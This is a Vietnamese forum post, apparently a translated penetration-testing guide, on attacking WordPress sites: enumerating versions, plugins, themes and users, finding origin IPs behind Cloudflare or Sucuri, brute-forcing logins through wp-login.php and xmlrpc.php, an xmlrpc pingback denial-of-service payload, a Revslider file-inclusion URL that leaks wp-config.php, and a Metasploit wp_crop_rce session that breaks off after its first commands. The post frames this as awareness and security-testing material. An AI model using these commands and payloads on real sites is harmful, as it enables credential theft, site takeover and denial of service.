Tấn công và bảo mật WordPress

Tác giả Starlink, T.M.Một 28, 2025, 09:00:04 CHIỀU

« Chủ đề trước - Chủ đề tiếp »

0 Thành viên và 1 Khách đang xem chủ đề.

Tìm hiểu các mẹo và kỹ thuật tấn công và đột nhập vào các trang web chạy trên WordPress. Với kiến thức về các kỹ thuật tấn công này, bạn sẽ chuẩn bị tốt hơn để bảo vệ trang web của mình.

Những người kiểm tra xâm nhập hoặc các nhóm đỏ muốn khai thác mục tiêu của WordPress cũng sẽ tìm thấy những lời khuyên hữu ích trong hướng dẫn này.

1. Giới thiệu về bảo mật WordPress

WordPress là ứng dụng đứng sau hơn 30% tổng số website. Tính dễ sử dụng và nền tảng mã nguồn mở là những yếu tố khiến nó trở thành một giải pháp phổ biến. Số lượng cài đặt tiếp tục tăng; hiện tại ước tính có khoảng 75 triệu website WordPress. Sự phổ biến này khiến WordPress trở thành mục tiêu cho những kẻ xấu muốn lợi dụng máy chủ web bị xâm nhập cho mục đích xấu.

Bằng cách cung cấp thông tin chi tiết về các kỹ thuật tấn công, chúng tôi muốn nâng cao nhận thức về nhu cầu bảo trì và giám sát bảo mật tốt cho WordPress.


Có rất nhiều hướng dẫn rất hay về bảo mật cài đặt WordPress. Bài viết này không có ý định lặp lại những hướng dẫn đó. Để bắt đầu bảo mật cài đặt WordPress, hãy thử hướng dẫn tuyệt vời trên   Đăng nhập để xem liên kết hoặc hướng dẫn toàn diện này trên trang web OWASP.

Xin lưu ý, trong dịch vụ lưu trữ WordPress được quản lý, một số cuộc tấn công (và biện pháp giảm thiểu) này sẽ do nhà cung cấp dịch vụ lưu trữ chịu trách nhiệm. Nếu bạn tự lưu trữ, thì bảo mật và bảo trì là trách nhiệm của bạn. Sẵn sàng bắt đầu chưa? Hãy cùng mặc áo hoodie và bắt đầu hack nào.

Việc sử dụng các kỹ thuật và công cụ tấn công này đối với các hệ thống mà bạn không sở hữu hoặc không được phép kiểm tra là bất hợp pháp ở hầu hết các khu vực pháp lý. Bài viết này nhằm mục đích giáo dục và nâng cao nhận thức về nhu cầu bảo mật chủ động.

2. Liệt kê WordPress

Hãy đặt mình vào vị trí của kẻ tấn công. Điều đầu tiên chúng ta muốn làm là tìm hiểu càng nhiều thông tin kỹ thuật về cấu hình trang web càng tốt. Điều này sẽ giúp ích cho chúng ta khi chuyển sang giai đoạn tấn công hoặc khai thác thực tế.

Việc liệt kê hoặc do thám có thể được thực hiện một cách bí mật bằng cách sử dụng các yêu cầu web thông thường để thu thập thông tin kỹ thuật về trang web. Hoặc nó có thể được thực hiện một cách mạnh mẽ hơn bằng cách tấn công brute-force các đường dẫn web để phát hiện sự hiện diện của plugin và theme. Trước hết, chúng ta muốn biết trang web được bảo trì tốt như thế nào. Việc xác định xem trang web có đang chạy phiên bản WordPress core mới nhất hay không là một khởi đầu tốt.

2.1. Liệt kê phiên bản WordPress Core

Có thể sử dụng ba phương pháp đơn giản để xác định phiên bản cốt lõi của WordPress.

Máy phát điện Meta

Kiểm tra mã nguồn HTML của trang để tìm meta generatorthẻ trong phần HEAD của mã nguồn HTML.

Ví dụ này được lấy từ nguồn cài đặt WP mặc định của phiên bản 3.5.2 và giao diện twenty twelve. Từ mã HTML nguồn:

Mã nguồn [Chọn]
<meta name="generator" content="WordPress 3.5.2" />
Phiên bản trong readme.html

Nếu thẻ meta đã bị vô hiệu hóa, hãy kiểm tra xem có thẻ /readme.htmlfrom root của bản cài đặt hay không. Các phiên bản WordPress cũ có phiên bản ngay ở đầu tệp ReadMe, các phiên bản WordPress mới hơn đã xóa phiên bản khỏi tệp.

Phiên bản trong mã nguồn HTML của trang web

Trong mã nguồn HTML, phiên bản thường được thêm vào như một tham số trên các liên kết javascriptvà csstài nguyên mà trang đang tải.


Tùy thuộc vào plugin, điều này không phải lúc nào cũng xảy ra và các trang web đã thu nhỏ js và css có thể không có các thông tin rò rỉ này.

Lỗ hổng bảo mật trong WordPress Core

Kẻ tấn công tìm thấy một trang web có phiên bản WordPress Core cũ hơn, và kết quả là, trang web này có thể bị khai thác trực tiếp thông qua lỗ hổng bảo mật trong WordPress Core. Và đây là dấu hiệu rõ ràng cho thấy trang web không được bảo trì tốt.

Trong một trang web được quản lý kém, các thành phần khác (plugin/theme) có thể chưa được cập nhật. Do đó, nguy cơ tấn công thành công tăng lên đáng kể.

2.2. Liệt kê Plugin WordPress và phiên bản

Trong quá trình Liệt kê Plugin WordPress, chúng tôi cố gắng tìm càng nhiều plugin đã cài đặt càng tốt (kể cả những plugin đã bị vô hiệu hóa). Việc biết các plugin WordPress đã cài đặt có thể cho phép chúng tôi xác định phiên bản và tìm hiểu xem plugin đó có dễ bị khai thác bởi các lỗ hổng đã biết hay không.

    Phân tích thụ động có thể được sử dụng để tìm plugin thông qua các yêu cầu HTTP thông thường tới trang web WordPress.
    Liệt kê chủ động mang tính tích cực hơn và thường liên quan đến việc sử dụng một tập lệnh hoặc công cụ để thực hiện hàng trăm hoặc thậm chí hàng nghìn yêu cầu HTTP chủ yếu là không hợp lệ.

Đọc mã nguồn HTML của trang web WordPress có thể phát hiện các plugin đã cài đặt thông qua javascript linkscác bình luận và tài nguyên CSSđược tải vào trang. Đây là những plugin dễ phát hiện nhất và không yêu cầu kiểm tra kỹ lưỡng trang web mục tiêu. Ngay cả tiêu đề HTTP cũng có thể tiết lộ thông tin, chẳng hạn như X-Powered-Bytiêu đề cho thấy sự hiện diện của plugin W3-Total-Cache.

Một số plugin không để lại dấu vết trong mã nguồn HTML. Để tìm tất cả các plugin đã cài đặt, bạn phải chủ động hơn. Một số công cụ có thể tấn công brute force danh sách plugin đã biết từ đường dẫn /wp-content/plugins/ * plugin to test * /. Phản hồi của máy chủ web thường sẽ hiển thị các thư mục hợp lệ (thường có lỗi HTTP 403 ) thay vì các thư mục không xác định trên máy chủ web với mã phản hồi HTTP.

Khi bạn có danh sách các plugin có trên trang web, bạn có thể sử dụng trình quét WordPress hoặc yêu cầu thủ công để xác định phiên bản của plugin.

Mã nguồn [Chọn]
curl https://myvulnerablesite.com/wp-content/plugins/badplugin/readme.txt
Trong đó, readme.txtchúng ta có thể thấy phiên bản của plugin. So sánh với các lỗ hổng đã biết, chúng ta có thể biết được trang web có dễ bị tấn công hay không mà không cần phải thực sự cài đặt lỗ hổng.

2.3. Liệt kê giao diện WordPress

Tương tự như plugin, giao diện WordPress có thể chứa các lỗ hổng bảo mật có thể khiến trang web bị xâm phạm. Giao diện là tập hợp mã PHP với các tài nguyên HTML và CSS. Giao diện phức tạp hơn có nhiều thành phần tích hợp hơn và có nhiều khả năng gây ra lỗ hổng bảo mật hơn.

Việc liệt kê theme được thực hiện tương tự như việc phát hiện plugin. Đường dẫn theme thường hiển thị trong mã HTML của nguồn trang. Tệp CSS được tải từ theme thường sẽ hiển thị đường dẫn.


Với đường dẫn này, chúng ta có tên chủ đề và có thể tải readme.txtđể xác nhận chủ đề đang sử dụng và phiên bản.

Mã nguồn [Chọn]
curl http://examplewp.com/wp-content/themes/Avada/readme.txt
Một điều quan trọng cần cân nhắc khi kiểm tra các Theme (và plugin) WordPress dễ bị tấn công là một theme đã được cài đặt nhưng chưa hoạt động vẫn có thể chứa mã có thể truy cập được và dễ bị tấn công. Đây là lý do tại sao kiểm tra brute force đối với đường dẫn theme là một bước quan trọng khi đánh giá một cài đặt WordPress không xác định.

2.4. Liệt kê người dùng WordPress

Nếu chúng ta có thể thu thập tên người dùng hợp lệ, chúng ta có thể thử các cuộc tấn công đoán mật khẩu để chiếm đoạt thông tin đăng nhập của trang web. Việc truy cập vào tài khoản quản trị viên trên cài đặt WordPress đồng nghĩa với việc kẻ tấn công có thể xâm nhập toàn bộ trang web, cơ sở dữ liệu và thường là thực thi mã từ xa trên máy chủ thông qua việc thực thi mã PHP.

Các kỹ thuật liệt kê người dùng này đã được báo cáo cho   Đăng nhập để xem liên kết là lỗ hổng bảo mật, tuy nhiên, các nhà phát triển không phân loại tên người dùng là nhạy cảm và sẵn sàng chấp nhận rủi ro để tăng tính khả dụng. Chẳng hạn như thông báo cho người dùng khi người dùng nhập sai mật khẩu hoặc khi mật khẩu bị sai.

Lưu trữ tác giả

Trong cài đặt mặc định, bạn sẽ có thể tìm thấy người dùng của một trang web bằng cách lặp qua ID người dùng và thêm chúng vào URL của trang web. Ví dụ /?author=1: thêm 2 rồi 3, v.v. vào URL sẽ hiển thị ID đăng nhập của người dùng thông qua chuyển hướng 301 với Tiêu đề HTTP Vị trí.

Mã nguồn [Chọn]
curl http://wordpressexample.com/?author=1
Bài đăng này có phương pháp hướng dẫn người dùng WordPress bằng một bashdòng duy nhất.


Liệt kê người dùng thông qua đoán

Có thể thực hiện tấn công bằng cách dùng biểu mẫu đăng nhập vì phản hồi sẽ khác nhau đối với tài khoản hợp lệ và tài khoản không hợp lệ.

Có thể thực hiện thao tác này theo cách thủ công để kiểm tra một người dùng hoặc sử dụng một công cụ tự động như Burp Intruder để kiểm tra hàng nghìn tên người dùng có thể có.

Người dùng được liệt kê trong JSON API Endpoint

Sử dụng jsonđiểm cuối, bạn có thể lấy danh sách người dùng trên trang web. Tính năng này bị hạn chế trong phiên bản 4.7.1, chỉ hiển thị người dùng nếu được cấu hình. Trước đó, tất cả người dùng đã đăng bài viết đều được hiển thị theo mặc định.

Mã nguồn [Chọn]
curl http://wordpressexample.com/wp-json/wp/v2/users
Xem các công cụ kiểm tra bảo mật WordPress bên dưới để tự động liệt kê người dùng.

2.5. Lập chỉ mục thư mục


Lập chỉ mục thư mục là chức năng của máy chủ web cho phép bạn xem nội dung của thư mục theo đường dẫn có thể truy cập trên web.

Việc xem nội dung của một thư mục cho phép kẻ tấn công thu thập nhiều thông tin về cài đặt như các plugin và chủ đề đã cài đặt mà không cần phải dùng đến vũ lực để lấy đường dẫn.

Để kiểm tra việc lập chỉ mục thư mục, bạn có thể duyệt đến các vị trí thư mục và xem liệu bạn có nhận được phản hồi bao gồm "Index Of" (Chỉ mục của) và danh sách các thư mục/tệp hay không. Các vị trí thường được kiểm tra là:

/wp-content/
/wp-content/plugins/
/wp-content/themes/
/uploads/
/images/

Nếu bạn có thể duyệt /wp-content/plugins/thì việc liệt kê các plugin và phiên bản sẽ trở nên dễ dàng hơn nhiều!

2.6. Kiểm tra lỗ hổng máy chủ

Trong giai đoạn này, chúng tôi chuyển sang kiểm tra các dịch vụ mạng thay vì kiểm tra trực tiếp cài đặt WordPress. Quét cổng là kỹ thuật tiêu chuẩn để phát hiện các dịch vụ mạng đang chạy trên máy chủ.

Các dịch vụ có thể có trên máy chủ WordPress:

    Máy chủ MySQL có thể truy cập từ xa (cổng 3306)
    Cổng đăng nhập quản trị CPANEL (cổng 2082 / 2083)
    Quản trị Webmin (cổng 10000)
    Dịch vụ FTP để truy cập hệ thống tập tin
    SSH để điều khiển từ xa
    Các dịch vụ web khác có quản trị viên hoặc các trang web khác (cổng 8080 / 8888, v.v.)

Bất kỳ dịch vụ nào cũng có thể cho phép truy cập hoặc kiểm soát máy chủ thông qua lỗ hổng bảo mật hoặc mật khẩu bị lộ. Quét cổng có thể được thực hiện bằng công cụ quét cổng Nmap tuyệt vời hoặc một công cụ bảo mật thay thế.

Tiếp tục từ việc liệt kê các dịch vụ mạng bằng trình quét cổng, chúng tôi có thể chạy quét lỗ hổng trên các dịch vụ được phát hiện để xác định các dịch vụ có thể khai thác hoặc các mục quan tâm khác.

Trình quét lỗ hổng OpenVAS

Greenbone Vulnerability Manager (GVM) (trước đây gọi là OpenVAS) là một lựa chọn. Đây là trình quét lỗ hổng nguồn mở có thể được cài đặt cục bộ hoặc các thiết bị doanh nghiệp cũng có sẵn từ Greenbone Networks. Chúng tôi cũng lưu trữ trình quét OpenVAS nguồn mở để kiểm tra các mục tiêu có thể truy cập internet như một phần của nền tảng kiểm tra bảo mật.

Trình quét lỗ hổng Nikto

Nikto là một công cụ quét lỗ hổng khác tập trung vào việc phát hiện các tập lệnh dễ bị tấn công đã biết, lỗi cấu hình và các mục quan trọng khác của máy chủ web. Công cụ Nikto đã ra đời từ nhiều năm trước nhưng vẫn giữ một vị trí quan trọng trong bộ công cụ kiểm tra xâm nhập.

Các công cụ như thế này thực hiện hàng chục nghìn bài kiểm tra nhắm vào mục tiêu để cố gắng phát hiện các lỗ hổng đã biết và các mục tiêu dễ dàng khác. Đây là một quá trình gây nhiễu, điền lỗi 404 và các lỗi khác vào nhật ký hệ thống mục tiêu. Không khuyến khích sử dụng nếu bạn đang theo đuổi kiểu ninja mục tiêu (pentest/red team).

2.7. Bỏ qua tường lửa web Sucuri hoặc CloudFlare

Nhiều trang web WordPress lựa chọn dịch vụ của bên thứ ba để bảo vệ trang web khỏi các cuộc tấn công bằng cách sử dụng proxy tường lửa dựa trên web. Các dịch vụ như Sucuri hoặc CloudFlare nằm giữa trình duyệt của người dùng và trang web WordPress. Các cuộc tấn công nhắm vào trang web có thể bị phát hiện và chặn bởi tường lửa.

Tường lửa chuyển tiếp lưu lượng truy cập bằng cách sử dụng DNS. DNS của trang web được trỏ đến các máy chủ thuộc Sucuri hoặc CloudFlare để người dùng (hoặc kẻ tấn công) có thể phân giải tên máy chủ và kết nối đến IP của hệ thống tường lửa.

Nếu chúng ta xác định được địa chỉ IP thực của máy chủ và thêm một mục vào tệp hosts, chúng ta có thể vượt qua tường lửa và truy cập trực tiếp vào máy chủ web đang lưu trữ trang web. Điều này rất quan trọng nếu trang web không được bảo trì tốt và phụ thuộc vào sự bảo vệ của tường lửa. Ví dụ: có thể có một plugin dễ bị tấn công nhưng bị tường lửa chặn. Chúng ta vượt qua tường lửa, khai thác plugin dễ bị tấn công và máy chủ.

Kiểm tra bản ghi DNS

Sử dụng bản ghi DNS là cách hiệu quả nhất để xác định địa chỉ IP thực để bỏ qua trang web được lưu trữ phía sau Sucuri hoặc CloudFlare.

    Bản ghi DNS lịch sử có thể hiển thị địa chỉ IP gốc trước khi dịch vụ tường lửa được triển khai.
    Bản ghi thư (MX), nếu thư được lưu trữ trên cùng một máy chủ với trang web thì điều này sẽ tiết lộ máy chủ thực sự
    TXT SPF, hồ sơ cũng có thể tiết lộ địa chỉ IP quan tâm

Tìm kiếm chứng chỉ TLS / SSL

Tìm kiếm TLS/SSL trong lịch sử cũng có thể tìm thấy tên máy chủ thực sự liên kết với địa chỉ IP thực tế của trang web nếu chúng khớp.

Các kỹ thuật trinh sát khác có thể tiết lộ tên máy chủ và địa chỉ IP quan trọng.

Khi bạn đã có địa chỉ IP mà bạn nghi ngờ có thể là địa chỉ IP thật, hãy thêm nó vào /etc/hoststệp với tên máy chủ của trang web. Thao tác này sẽ buộc hệ thống của bạn bỏ qua DNS và truy cập trực tiếp đến địa chỉ IP. Nếu trang web tải được, rất có thể đây là địa chỉ IP chính xác.

2.8. WPScan

WPScan là một công cụ kiểm tra bảo mật WordPress phổ biến, kết hợp nhiều kỹ thuật liệt kê đơn giản này lại với nhau. Cho phép người dùng nhanh chóng liệt kê cài đặt WordPress, công cụ này có giấy phép thương mại, hạn chế việc sử dụng để kiểm tra trang web WordPress của riêng bạn và mục đích sử dụng phi thương mại.

Công cụ này cố gắng xác định người dùng, plugin và chủ đề, tùy thuộc vào các tùy chọn dòng lệnh đã chọn, đồng thời hiển thị lỗ hổng bảo mật cho từng plugin được phát hiện.

2.9. Tập lệnh Nmap NSE dành cho WordPress

Nmap đi kèm với các tập lệnh NSE giúp mở rộng chức năng của trình quét cổng phổ biến này. Một số tập lệnh NSE của Nmap đặc biệt hữu ích để liệt kê người dùng WordPress, plugin và giao diện bằng các kỹ thuật tương tự mà chúng ta đã thảo luận trước đó.

Điều tuyệt vời nhất về tùy chọn này là nếu bạn đã cài đặt Nmap, bạn đã có sẵn các tập lệnh này.

Plugin và Theme WordPress Enum NSE Script < WordPress Brute Force NSE Script
WordPress User Enum NSE Script

Ví dụ về Plugin và Liệt kê giao diện

Mã nguồn [Chọn]
PORT   STATE SERVICE
80/tcp open  http
| http-wordpress-enum:
| Search limited to top 100 themes/plugins
|   plugins
|     akismet
|     contact-form-7 4.1 (latest version:4.1)
|     all-in-one-seo-pack  (latest version:2.2.5.1)
|     google-sitemap-generator 4.0.7.1 (latest version:4.0.8)
|     jetpack 3.3 (latest version:3.3)
|     wordfence 5.3.6 (latest version:5.3.6)
|     better-wp-security 4.6.4 (latest version:4.6.6)
|     google-analytics-for-wordpress 5.3 (latest version:5.3)
|   themes
|     twentytwelve
|_    twentyfourteen

2.10. Bản đồ CMS

Một công cụ khác để liệt kê các cài đặt WordPress là CMSMap.

CMSMap kiểm tra cả WordPress cũng như Joomla, Drupal và Moodle.

Như với bất kỳ công cụ liệt kê nào, việc cập nhật thường xuyên là rất quan trọng. Nếu danh sách chủ đề và plugin không được cập nhật thường xuyên, hãy lưu ý rằng các thành phần mới nhất có thể không được phát hiện.

3. Tấn công và khai thác

3.1. Tấn công Brute Force wp-login.php

Cuộc tấn công phổ biến nhất nhắm vào người dùng WordPress là tấn công brute force (dò mật khẩu tài khoản) để chiếm quyền truy cập vào hệ thống quản trị WordPress. Những cách khác để đánh cắp mật khẩu bao gồm nghe lén mật khẩu dưới dạng văn bản thuần túy qua phiên đăng nhập HTTP, hoặc thậm chí lấy thông tin đăng nhập từ phần mềm keylogger trên máy trạm của quản trị viên WordPress.

Tài khoản có quyền quản trị viên là tài khoản được săn đón nhiều nhất vì mức độ phá hoại mà người dùng quản trị có thể gây ra; thêm PHP command shellshoặc thực hiện hành vi độc hại javascripttrực tiếp thông qua giao diện quản trị là những ví dụ phổ biến.

Với tên người dùng đã thu thập được trong quá trình thu thập thông tin, chúng ta có thể bắt đầu (hoặc chỉ cần thử admin). Hãy xem biểu mẫu đăng nhập /wp-login.php, lưu ý cách các lần đăng nhập thất bại sẽ xác nhận tên người dùng khi nhập sai mật khẩu. Thông tin này hữu ích cho kẻ tấn công. Nó cũng giúp người dùng cuối dễ dàng sử dụng hơn khi quên tên người dùng và mật khẩu. "Tính năng" này đã được tranh luận, và người ta đã quyết định giữ nguyên phản hồi này trong mã WordPress.

3 Công cụ để Phá Mật khẩu Yếu

Tấn công Brute Force (cướp quyền truy cập) vào tài khoản người dùng có thể thực hiện bằng một số công cụ mã nguồn mở. Ngoài ra, còn có các tập lệnh dạng sâu (worm) đã lây lan qua hệ sinh thái WordPress. Chúng tìm kiếm và lây lan sang các trang web WordPress có mật khẩu quản trị yếu.

WPScan

Công cụ WPScan đã đề cập trước đó, ngoài việc liệt kê, còn có thể thực hiện các cuộc tấn công đăng nhập bằng vũ lực.

Sau đây là ví dụ về kết quả thử nghiệm mà tôi đã chạy với WPScan trên VPS Digital Ocean cấp thấp (5 đô la/tháng) khi tôi cài đặt WordPress mặc định.

Mã nguồn [Chọn]
ruby wpscan.rb -u 192.241.xx.x68 --threads 20 --wordlist 500worst.txt --username testadmin

********* SNIP ******************

[+] Starting the password brute forcer

  Brute forcing user 'testadmin' with 500 passwords... 100% complete.
[+] Finished at Thu Jul 18 03:39:02 2013
[+] Elapsed time: 00:01:16

Xem lại đầu ra

500 mật khẩu đã được kiểm tra với tài khoản 'testadmin' (được phát hiện trong quá trình liệt kê người dùng). 500 mật khẩu này đã được kiểm tra trong 1 phút 16 giây! Khi bài kiểm tra đang chạy, trang web không hề bị gián đoạn. Quản trị viên máy chủ web sẽ không thể biết được cuộc tấn công đã diễn ra nếu không có hệ thống giám sát nhật ký bảo mật ( OSSEC làm điều này rất tốt).

Danh sách "500 mật khẩu tệ nhất" được sử dụng ở trên đến từ Skull Security. Trang web này có rất nhiều danh sách mật khẩu, bao gồm cả rockyoudanh sách nổi tiếng (60MB) chứa hơn 500 mật khẩu!

Tập lệnh Nmap NSE

Nmap, trình quét cổng, có thể làm được nhiều hơn là chỉ tìm các cổng mở. Các phiên bản gần đây của Nmap được tích hợp sẵn các tập lệnh NSE. Do đó, nó có thể được sử dụng để kiểm tra nhiều lỗ hổng khác nhau, ví dụ như liệt kê người dùng và tấn công brute force mật khẩu WordPress.

Dưới đây là ví dụ chạy bằng tập lệnh NSE http-wordpress-enum để liệt kê người dùng WordPress.

Mã nguồn [Chọn]
nmap -sV --script http-wordpress-enum --script-args limit=25

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-wordpress-enum:
| Username found: admin
| Username found: testadmin
| Username found: fred
| Username found: alice
| Username found: bob
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-enum.limit'

Dưới đây là kết quả từ việc tấn công brute force vào tài khoản WordPress bằng cách sử dụng tập lệnh http-wordpress-brute NSE.

Mã nguồn [Chọn]
PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack
| http-wordpress-brute:
|   Accounts
|     testadmin:myS3curePass => Login correct
|   Statistics
|_    Perfomed 113 guesses in 19 seconds, average tps: 6

Burp Suite

Đối với những người quen thuộc với việc kiểm tra bảo mật ứng dụng web, công cụ Burp Suite Intruder cũng có thể được sử dụng để bẻ khóa mật khẩu WordPress. Xét cho cùng, nỗ lực đăng nhập WordPress chỉ là một yêu cầu HTTP POST.

Cấu hình Burp Intruder để gửi tên người dùng hợp lệ (hoặc danh sách tên người dùng) cùng với danh sách mật khẩu có thể có và chờ đăng nhập thành công.

3.2. Đăng nhập Brute Force qua xmlrpc.php

Khả năng này xmlrpc.phplà một điểm cuối API. Điểm cuối này cho phép các ứng dụng di động và các quyền truy cập có thể lập trình khác vào các chức năng phụ trợ của trang web WordPress, chẳng hạn như đăng bài viết. Tính năng này được bật theo mặc định. Có thể có một số cuộc tấn công vào điểm cuối này tùy thuộc vào quyền và phiên bản cài đặt WordPress mục tiêu.

Sử dụng xmlrpc.phpđiểm cuối để tấn công tài khoản WordPress, chúng ta có thể bỏ qua các plugin bảo mật bảo vệ biểu mẫu đăng nhập khỏi bị lạm dụng. Cuộc tấn công đoán mật khẩu này cũng có thể nhanh hơn, kết quả là bạn có thể thử nhiều mật khẩu hơn.

Lưu ý -d, trong đó curl, đây là dữ liệu được gửi như một phần của yêu cầu POST. Bạn cũng có thể sử dụng Burp hoặc ngôn ngữ kịch bản yêu thích của mình cho yêu cầu này.

Mã nguồn [Chọn]
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params>
<param><value>admin</value></param><param><value>pass</value></param></params></methodCall>" http://examplewp.com/xmlrpc.php

Trong phản hồi, chúng ta sẽ thấy mật khẩu không hợp lệ hoặc thành công. Bạn có thể dễ dàng phát hiện và áp dụng vào tập lệnh của mình.

3.3. Từ chối dịch vụ (DOS) thông qua xmlrpc.php

Một ứng dụng khác của xmlrpc.phpđiểm cuối là thực hiện tấn công từ chối dịch vụ. Nếu tính năng này được bật, chúng ta có thể gửi một yêu cầu nhỏ đến máy chủ và yêu cầu nó phản hồi bằng một trang nội dung đầy đủ đến mục tiêu do chúng ta chọn. Ý tưởng là tạo nhiều yêu cầu từ các hệ thống khác nhau và tất cả chúng đều nhắm vào một máy chủ duy nhất. Điều này có khả năng khiến máy chủ bị ngắt kết nối do tắc nghẽn mạng.

Đầu tiên, chúng tôi liệt kê các khả năng của xmlrpc.phpđiểm cuối.

Mã nguồn [Chọn]
curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://examplewp.com/xmlrpc.php
Câu trả lời sẽ là danh sách các phương pháp khả dụng.

Mã nguồn [Chọn]
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
**** truncated ****

Lưu ý   Đăng nhập để xem liên kết cho biết pingback đã được bật. Sử dụng dữ liệu sau cho lần thử pingback.

Mã nguồn [Chọn]
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://**denial-of-service-target**:**portno**</string></value>
</param><param><value><string>http://**blog-url-from-wp**</string>
</value></param></params>
</methodCall>

Nên vô hiệu hóa quyền truy cập xmlrpc.phptừ máy chủ web hoặc sử dụng.htaccessAPI nếu bạn không sử dụng. Việc này không chỉ chặn mọi cuộc tấn công mà còn giảm thiểu tiếng ồn trong nhật ký của bạn từ các bot cố gắng tấn công các điểm cuối API này.

3.4. Khai thác plugin WordPress

Plugin, Theme và WordPress Core đều chứa một lượng lớn mã PHP từ các nhà phát triển trên toàn thế giới. Các nhà phát triển này có năng lực và trọng tâm khác nhau khi viết phần mềm bảo mật. Vì lý do này, có hàng ngàn lỗ hổng bảo mật có thể bị khai thác bởi kẻ tấn công. Việc cập nhật plugin, WordPress Core và Theme phải là một nhiệm vụ thường xuyên đối với bất kỳ quản trị viên WordPress nào để đảm bảo các lỗ hổng đã biết được vá.

Các lỗ hổng phổ biến bao gồm XSS, SQL injection, tải tệp lên và thực thi mã. Tất cả những lỗ hổng này đều có thể gây ra hậu quả nghiêm trọng cho một trang web WordPress. Hãy tìm kiếm các lỗi WordPress có thể khai thác trên Metasploit và   Đăng nhập để xem liên kết.

Ví dụ về Revslider Exploit

Một ví dụ về khai thác plugin WordPress là lỗ hổng được phát hiện cách đây 5 năm. Lỗ hổng bảo mật của plugin revslider đã khiến hàng chục nghìn trang web WordPress bị xâm nhập. Cho đến nay, vẫn có những nỗ lực khai thác lỗ hổng này trong nhật ký máy chủ web của chúng tôi, thậm chí là vào năm 2019. Một lý do khiến plugin này trở nên phổ biến là vì nó được tích hợp sẵn trong nhiều giao diện.

Có nhiều cách khai thác, nhưng đây có lẽ là cách dễ nhất để chứng minh. Việc khai thác cũng khó như việc tải URL này vào trình duyệt.

Mã nguồn [Chọn]
https://examplewp.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
Yêu cầu HTTP sẽ tải xuống wp-config.phptệp từ trang web dễ bị tấn công nếu trang web đó đã cài đặt phiên bản có thể khai thác revslider. Loại khai thác này được gọi là tệp cục bộ include, vì kẻ tấn công đang lừa mã ứng dụng đưa một tệp nhạy cảm vào đầu ra. Tệp này wp-config.phpthường không thể truy cập được và chứa thông tin đăng nhập cơ sở dữ liệu của người dùng cơ sở dữ liệu WordPress.

Với mật khẩu cơ sở dữ liệu, kẻ tấn công có thể cố gắng đăng nhập với tư cách quản trị viên WordPress bằng cùng một mật khẩu (nếu mật khẩu được sử dụng lại). Một hướng tấn công phổ biến hơn là đăng nhập vào phpmyadmintập lệnh nếu đã cài đặt, vì điều này sử dụng thông tin đăng nhập cơ sở dữ liệu. Nếu MySQL bị lộ, thậm chí có thể kết nối trực tiếp đến cơ sở dữ liệu bằng ứng dụng MySQLkhách cơ sở dữ liệu và thông tin đăng nhập bị rò rỉ.

Việc truy cập vào cơ sở dữ liệu cung cấp cho kẻ tấn công các tùy chọn để đặt lại mật khẩu quản trị viên, cố gắng bẻ khóa mã băm quản trị, sửa đổi nội dung trong cơ sở dữ liệu, thêm mã JS hoặc iframe độc hại. Có rất nhiều khả năng khai thác sâu hơn nữa sau khi thông tin đăng nhập wp-config.phpbị rò rỉ.

3.5. Ví dụ về giao diện WordPress Exploit

Các lỗ hổng có sẵn trên nhiều nơi và diễn đàn khác nhau. Ví dụ này sử dụng một lỗ hổng từ Metasploit Exploitation Framework phổ biến. Chủ đề dễ bị tấn công là optimizepress rất phổ biến. Lỗ hổng này được phát hành vào năm 2013 và các phiên bản sau 1.45 không còn dễ bị khai thác bởi lỗ hổng này.

Sử dụng các lệnh Metasploit tiêu chuẩn, chúng ta có thể tải mô-đun, cấu hình các tùy chọn, chọn tải trọng và khai thác. Kết quả là quyền truy cập shell trên máy chủ chỉ trong vài phút.

Trong ví dụ này, loại lỗ hổng là lỗ hổng tải tệp lên của media-upload.phpchủ đề. Bằng cách khai thác lỗ hổng, chúng ta có thể tải lên PHPshell hoặc mã khác, cho phép thực thi mã.


Một điểm quan trọng cần nhớ ở đây là - việc xác định các plugin và chủ đề là bước đầu tiên trong một cuộc tấn công có mục tiêu khai thác một trang web WordPress.

Nhiều bot và tập lệnh tấn công tự động khai thác các trang web WordPress không thực hiện giai đoạn liệt kê. Chúng triển khai khai thác tại hàng nghìn trang web và hy vọng tải trọng thành công.

Các plugin và chủ đề không được bật có thể bị khai thác. Việc quét vị trí mặc định của các tệp dễ bị tấn công này là một cuộc tấn công rất phổ biến của bot tự động.

3.6. Khai thác lõi WordPress

Lỗ hổng bảo mật trong WordPress Core thỉnh thoảng lại xuất hiện. Mặc dù các lỗ hổng bảo mật từ xa không được xác thực tương đối hiếm, nhưng bất kỳ kẻ tấn công nào cũng nên làm quen với các lỗ hổng dễ khai thác hơn trong WordPress Core.

Danh sách các lỗ hổng bảo mật trên   Đăng nhập để xem liên kết là một dấu hiệu tốt và cho thấy mức độ nghiêm trọng của các lỗ hổng được phát hiện thấp hơn nhiều so với tình trạng của 5 năm trước.

Ví dụ khai thác CVE-2019-8942 và CVE-2019-8943

Sử dụng Metasploit, ví dụ này sẽ minh họa cách khai thác các lỗ hổng hiện diện trong WordPress phiên bản <= 4.9.8 và WordPress 5.0.0. Sử dụng lỗ hổng này, chúng tôi có thể thực thi mã tùy ý thông qua một lỗ hổng cốt lõi kết hợp Path Traversal và Local File Inclusion. Nếu kẻ tấn công có quyền truy cập vào một tài khoản có ít nhất quyền tác giả, việc thực thi mã có thể xảy ra.

Dưới đây là chi tiết về quy trình khai thác Metasploit tiêu chuẩn sử dụng wp_crop_rce mô-đun này. PHP Meterpreter là một tác nhân từ xa cho phép kẻ tấn công chạy lệnh và tải lên/tải xuống tệp trên hệ thống mục tiêu.

Mã nguồn [Chọn]
msf5 > use exploit/unix/webapp/wp_crop_rce
msf5 exploit(unix/webapp/wp_crop_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
